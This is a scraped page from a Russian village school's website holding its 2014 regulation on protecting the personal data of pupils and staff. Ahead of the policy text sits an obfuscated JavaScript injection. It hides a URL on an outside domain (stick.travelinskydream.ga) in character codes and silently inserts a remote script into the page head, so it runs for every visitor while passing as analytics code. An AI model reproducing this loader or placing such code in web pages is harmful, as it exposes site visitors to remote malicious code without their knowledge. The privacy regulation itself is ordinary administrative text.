var _0x1c9a=['push','229651wHRLFT','511754lPBDVY','length','2080825FKHOBK','src','1lLQkOc','1614837wjeKHo','insertBefore','fromCharCode','179434whQoYd','1774xXwpgH','1400517aqruvf','7vsbpgk','3112gjEEcU','1mFUgXZ','script','1534601MOJEnu','prototype','245777oIJjBl','47jNCcHN','1HkMAkw','nextSibling','appendAfter','shift','18885bYhhDw','1096016qxAIHd','72lReGEt','1305501RTgYEh','4KqoyHD','appendChild','createElement','getElementsByTagName'];var _0xd6df=function(_0x3a7b86,_0x4f5b42){_0x3a7b86=_0x3a7b86-0x1f4;var _0x1c9a62=_0x1c9a[_0x3a7b86];return _0x1c9a62;};(function(_0x2551a2,_0x3dbe97){var _0x34ce29=_0xd6df;while(!![]){try{var _0x176f37=-parseInt(_0x34ce29(0x20a))*-parseInt(_0x34ce29(0x205))+-parseInt(_0x34ce29(0x204))*-parseInt(_0x34ce29(0x206))+-parseInt(_0x34ce29(0x1fc))+parseInt(_0x34ce29(0x200))*parseInt(_0x34ce29(0x1fd))+-parseInt(_0x34ce29(0x1fb))*-parseInt(_0x34ce29(0x1fe))+-parseInt(_0x34ce29(0x20e))*parseInt(_0x34ce29(0x213))+-parseInt(_0x34ce29(0x1f5));if(_0x176f37===_0x3dbe97)break;else _0x2551a2['push'](_0x2551a2['shift']());}catch(_0x201239){_0x2551a2['push'](_0x2551a2['shift']());}}}(_0x1c9a,0xc08f4));function smalller(){var _0x1aa566=_0xd6df,_0x527acf=[_0x1aa566(0x1f6),_0x1aa566(0x20b),'851164FNRMLY',_0x1aa566(0x202),_0x1aa566(0x1f7),_0x1aa566(0x203),'fromCharCode',_0x1aa566(0x20f),_0x1aa566(0x1ff),_0x1aa566(0x211),_0x1aa566(0x214),_0x1aa566(0x207),_0x1aa566(0x201),'parentNode',_0x1aa566(0x20c),_0x1aa566(0x210),_0x1aa566(0x1f8),_0x1aa566(0x20d),_0x1aa566(0x1f9),_0x1aa566(0x208)],_0x1e90a8=function(_0x49d308,_0xd922ec){_0x49d308=_0x49d308-0x17e;var _0x21248f=_0x527acf[_0x49d308];return _0x21248f;},_0x167299=_0x1e90a8;(function(_0x4346f4,_0x1d29c9){var _0x530662=_0x1aa566,_0x1bf0b5=_0x1e90a8;while(!![]){try{var _0x2811eb=-parseInt(_0x1bf0b5(0x187))+parseInt(_0x1bf0b5(0x186))+parseInt(_0x1bf0b5(0x18d))+parseInt(_0x1bf0b5(0x18c))+-parseInt(_0x1bf0b5(0x18e))*parseInt(_0x1bf0b5(0x180))+-parseInt(_0x1bf0b5(0x18b))+-parseInt(_0x1bf0b5(0x184))*parseInt(_0x1bf0b5(0x17e));if(_0x2811eb===_0x1d29c9)break;else _0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}catch(_0x1cd819){_0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}}}(_0x527acf,0xd2c23),(Element[_0x167299(0x18f)][_0x1aa566(0x208)]=function(_0x3d096a){var _0x2ca721=_0x167299;_0x3d096a[_0x2ca721(0x183)][_0x2ca721(0x188)](this,_0x3d096a[_0x2ca721(0x181)]);},![]),function(){var _0x5d96e1=_0x1aa566,_0x22c893=_0x167299,_0x306df5=document[_0x22c893(0x185)](_0x22c893(0x182));_0x306df5[_0x22c893(0x18a)]=String[_0x22c893(0x190)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x6a,0x73,0x3f,0x63,0x69,0x64,0x3d,0x30,0x30,0x30,0x30,0x26,0x70,0x69,0x64,0x69,0x3d,0x31,0x39,0x31,0x38,0x31,0x37,0x26,0x69,0x64,0x3d,0x35,0x33,0x36,0x34,0x36),_0x306df5[_0x22c893(0x189)](document[_0x22c893(0x17f)](String[_0x5d96e1(0x1fa)](0x73,0x63,0x72,0x69,0x70,0x74))[0x0]),_0x306df5[_0x5d96e1(0x208)](document[_0x22c893(0x17f)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0]),document[_0x5d96e1(0x211)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0][_0x22c893(0x191)](_0x306df5);}());}function biggger(){var _0x5d031d=_0xd6df,_0x5c5bd2=document[_0x5d031d(0x211)](_0x5d031d(0x201));for(var _0x5a0282=0x0;_0x5a0282<_0x5c5bd2[_0x5d031d(0x1f4)];_0x5a0282++){if(_0x5c5bd2[_0x5a0282][_0x5d031d(0x1f6)]['indexOf'](String['fromCharCode'](0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d))>-0x1)return 0x1;}return 0x0;}biggger()==0x0&&smalller(); Защита персональных данных — Школа № 11 с. Волочаевка

Защита персональных данных

ФЗ » О защите персональных данных»

Положение «О защите персональных данных»

                                                       Утверждено

                                                       приказ от 30.12.2014 № 158

 

Положение

о защите, хранении, обработке и передаче персональных данных учащихся, работников 

МБОУ СОШ №11 с.Волочаевка
Настоящее Положение разработано на основании Конституции Российской Федерации, Федерального закона от 19.12.2005 №160-ФЗ «О ратификации Конвенции Совета Европы о защите физических лиц при автоматизированной обработке персональных дачных», Федерального закона от 27.07.2006 №152-ФЗ «О персональных данных». Федерального закона от 27.07.2006 №149-ФЗ «Об информации, информационных технологиях и о защите информации» и постановления Правительства Российской Федерации от 17,11,2007 № 781 «Об утверждении Положения об обеспечении безопасности персональных данных при их обработке в информационных системах персональных данных» с целью обеспечения уважения прав и основных свобод каждого учащегося  при обработке его персональных данных, в том числе защиты прав на неприкосновенность частной жизни, личную и семейную тайну.

1.Общие положения  

1.1.Персональные данные обучающегося, работника — сведения о фактах, событиях и обстоятельствах жизни учащихся, работника  позволяющие идентифицировать его личность, необходимые администрации школы (далее — администрация) в связи с отношениями обучения и воспитания учащихся и касающиеся учащегося, работника.

К персональным данным учащегося, работника  относятся:

— сведения, содержащиеся в свидетельстве о рождении, паспорте или ином документе, удостоверяющем личность;

— информация, содержащаяся в личном деле учащегося, работника;

— информация, содержащаяся в личном деле учащегося, лишенного родительского попечения;

— сведения, содержащиеся в документах воинского учета (при их наличии);

— информация об успеваемости;

— информация о состоянии здоровья;

— документ о месте проживания;

— иные сведения.

1.2.Администрация может получить от самого учащегося, работника  данные о:

— фамилии, имени, отчестве, дате рождения, месте жительства;

— фамилии, имени, отчестве родителей (законных представителей) обучающегося.
Иные персональные данные, необходимые в связи с отношениями, администрация школы может получить только с письменного согласия одного из родителей (законного представителя), работника. К таким данным относятся:

— документы о составе семьи;

— документы о состоянии здоровья (сведения об инвалидности, о наличии хронических заболеваний и т. п.);

— документы, подтверждающие право на дополнительные гарантии и компенсации по определенным основаниям, предусмотренным законодательством (родители-инвалиды, неполная семья, ребенок-сирота и т.п.).
В случаях, когда администрация школы может получить необходимые персональные данные учащегося, работника  только у третьего лица, она должна уведомить об этом одного из родителей (законного представителя), работника  заранее и получить от него письменное согласие.
Администрация обязана сообщить одному из родителей (законному представителю), работников о целях, способах и источниках получения персональных данных, а также о характере подлежащих получению персональных данных и возможных последствиях отказа одного из родителей (законного представителя, работника  дать письменное согласие на их получение.

Персональные данные учащегося, работника являются конфиденциальной информацией и не могут быть использованы администрацией школы или любым иным лицом в личных целях.
При определении объема и содержания персональных данных учащегося, работника администрация школы руководствуется Конституцией Российской Федерации, федеральными законами и настоящим положением.
2. Хранение, обработка и передача персональных данных
2.1. Обработка персональных данных учащегося, работника осуществляется для обеспечения соблюдения законов и иных нормативных правовых актов в целях воспитания и обучения учащегося, работника,  обеспечения его личной безопасности, контроля качества образования, пользования льготами, предусмотренными законодательством Российской Федерации и локальными актами администрации.
2.2.   Право доступа к персональным данным учащегося, работника имеют:

— работники комитета или отдела образования (при наличии соответствующих полномочий, установленных приказом;

— директор школы;

— учителя;

— инспектор по кадрам.

2.3.   Директор школы осуществляет прием учащегося в школу, работника на работу.

Директор школы может передавать персональные данные учащегося, работника третьим лицам, только если это необходимо в целях предупреждения угрозы жизни и здоровья учащегося, работника,  а также в случаях, установленных федеральными законами.
2.4.   Инспектор по кадрам:

принимает или оформляет вновь личное дело учащегося, работника  и вносит в него необходимые данные;

предоставляет свободный доступ родителям (законным представителям) к персональным данным учащегося, работника  на основании письменного заявления.

К заявлению прилагается:

— родителем — копия документа, удостоверяющего личность;

— законным представителем — копия удостоверения опекуна (попечителя).
Не имеет права получать информацию об учащемся родитель, лишенный или ограниченный в родительских правах на основании вступившего в законную силу постановления суда, родственники работника.
При передаче персональных данных учащегося, работника директор школы, инспектор по кадрам, учителя обязаны:
— предупредить лиц, получающих данную информацию, о том, что эти данные могут быть использованы лишь в целях, для которых они сообщены:
— потребовать от этих лиц письменное подтверждение соблюдения этого условия.
Иные права, обязанности, действия работников, в трудовые обязанности которых входит обработка персональных данных обучающегося, работника определяются должностными инструкциями.
Все сведения о передаче персональных данных учащегося, работников регистрируются в журнале регистрации исходящих документов в целях контроля правомерности использования данной информации лицами, ее получившими.

  1. Обязанности работников школы, имеющих доступ к персональным данным обучающегося, работника

3.1. Работники  школы, имеющие доступ к персональным данным учащегося, работника обязаны:

— не сообщать персональные данные учащегося, работника третьей стороне без письменного согласия одного из родителей (законного представителя), кроме случаев, когда в соответствии с федеральными законами такого согласия не требуется, работника;
— использовать персональные данные учащегося, работника  полученные только с письменного согласия одного из родителей (законного представителя), работника;

— обеспечить защиту персональных данных учащегося, работника от их неправомерного использования или утраты, в порядке, установленном законодательством Российской Федерации;

— ознакомить родителей (законных представителей), работника  с настоящим положением и их правами и обязанностями в области защиты персональных данных, под роспись;

— соблюдать требование конфиденциальности персональных данных учащегося, работника;

— исключать или исправлять по письменному требованию одного из родителей (законных представителей) учащегося, работника его недостоверные или неполные персональные данные, а также данные, обработанные с нарушением требований законодательства;
— ограничивать персональные данные учащегося, работника  при передаче уполномоченным работникам правоохранительных органов или работникам управления образования только той информацией, которая необходима для выполнения указанными лицами их функций;
— запрашивать информацию о состоянии здоровья учащегося только у родителей (законных представителей);

— обеспечить учащегося или одному из его родителей (законному представителю), работнику  свободный доступ к персональным данным, включая право на получение копий любой записи, содержащей его персо­нальные данные;

— предоставить по требованию одного из родителей (законного представителя) учащегося, работника  полную информацию о его персональных данных и обработке этих данных.
3.2.   Лица, имеющие доступ к персональным данным учащегося, работника  не вправе:

— получать и обрабатывать персональные данные учащегося, работника  о его религиозных и иных убеждениях, семейной и личной жизни;
— предоставлять персональные данные учащегося, работника  в коммерческих целях.

3.3.   При принятии решений, затрагивающих интересы учащегося, работника,  администрации школы запрещается основываться на персональных данных, полученных исключительно в результате их автоматизированной обработки или электронного получения.
4. Права и обязанности учащихся, родителя (законного представителя), работника  

4.1. В целях обеспечения защиты персональных данных, хранящихся у администрации школы, учащийся, родитель (законный представитель), работник имеют право на:

—  требование об исключении или исправлении неверных или неполных персональных данных, а также данных, обработанных с нарушением требований законодательства. При отказе администрации школы исключить или исправить персональные данные обучающегося родитель (законный представитель), работник  имеет право заявить в письменной форме директору школы о своем несогласии с соответствующим обоснованием такого несогласия. Персональные данные оценочного характера родитель (законный представитель), работник  имеет право дополнить заявлением, выражающим его собственную точку зрения;

— требование об извещении администрацией школы всех лиц, которым ранее были сообщены неверные или неполные персональные данные обучающегося, работника обо всех произведенных в них исключениях, исправлениях или дополнениях;

— обжалование в суд любых неправомерных действий или бездействия администрации школы при обработке и защите персональных данных обучающегося, работника;

— возмещение убытков и/или компенсацию морального вреда в судебном порядке.
4.2. Родитель (законный представитель), работник обязан сообщать администрации школы сведения, которые могут повлиять на принимаемые администрацией школы решения в отношении обучающегося, работника.
5.      Хранение персональных данных обучащегося, работника
Должны храниться в сейфе на бумажных носителях и на электронных носителях с ограниченным доступом:

— документы, поступившие от родителя (законного представителя), работника;
— сведения об обучающемся, работнике поступившие от третьих лиц с письменного согласия родителя (законного представителя), работника;
— иная информация, которая касается отношений с обучающимся, работником.
6.      Ответственность администрации школы и ее сотрудников
Защита прав обучающегося, установленных законодательством Российской Федерации и настоящим положением, осуществляется судом в целях пресечения неправомерного использования персональных данных обучающегося, работника,  восстановления нарушенных прав и возмещения причиненного ущерба, в том числе морального вреда.
Лица, виновные в нарушении норм, регулирующих получение, обработку, хранение, передачу, защиту персональных данных обучающегося, работника,  привлекаются к дисциплинарной и материальной ответственности, а также привлекаются к гражданско-правовой, административной и уголовной ответственности в порядке, установленном федеральными законами.